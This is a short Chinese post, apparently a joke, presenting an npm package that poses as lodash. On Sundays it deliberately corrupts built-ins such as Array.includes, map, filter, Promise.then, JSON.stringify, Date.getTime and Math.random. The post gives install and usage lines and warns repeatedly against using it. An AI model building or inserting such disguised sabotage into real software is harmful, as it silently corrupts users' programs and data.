写在开头

  引入之后, 就能像 lodash 一样工作,但是此代码仅在周日的时候执行。

  GitHub项目地址 --> 链接直达

项目介绍

   安装

npm i wll8/lodash-utils

   使用

const _ = require(`lodash-utils`)

const oldObj = {a: 1}
const newObj = _.cloneDeep(oldObj)
console.log(`newObj`, newObj)

  此代码仅在周日的时候执行以下逻辑:

  • Array.includes 应用的数组长度可以被7整除时,永远返回false。
  • Array.map 有5%概率会丢失最后一个元素。
  • Array.filter 的结果有5%的概率丢失最后一个元素。
  • Array.forEach 会卡死一段时间。
  • setTimeout 总是会比预期时间慢1秒才触发。
  • Promise.then 有10%概率不会触发。
  • JSON.stringify 有30%概率会把I(大写字母I)变成l(小写字母L)。
  • Date.getTime() 的结果总是会慢一个小时。
  • localStorage.getItem 有5%几率返回空字符串。
  • Math.random() 的取值范围改为01.1

碎碎念


  不要在任何项目中使用它! 不要在任何项目中使用它! 不要在任何项目中使用它!

  真的有人需要这个吗🤔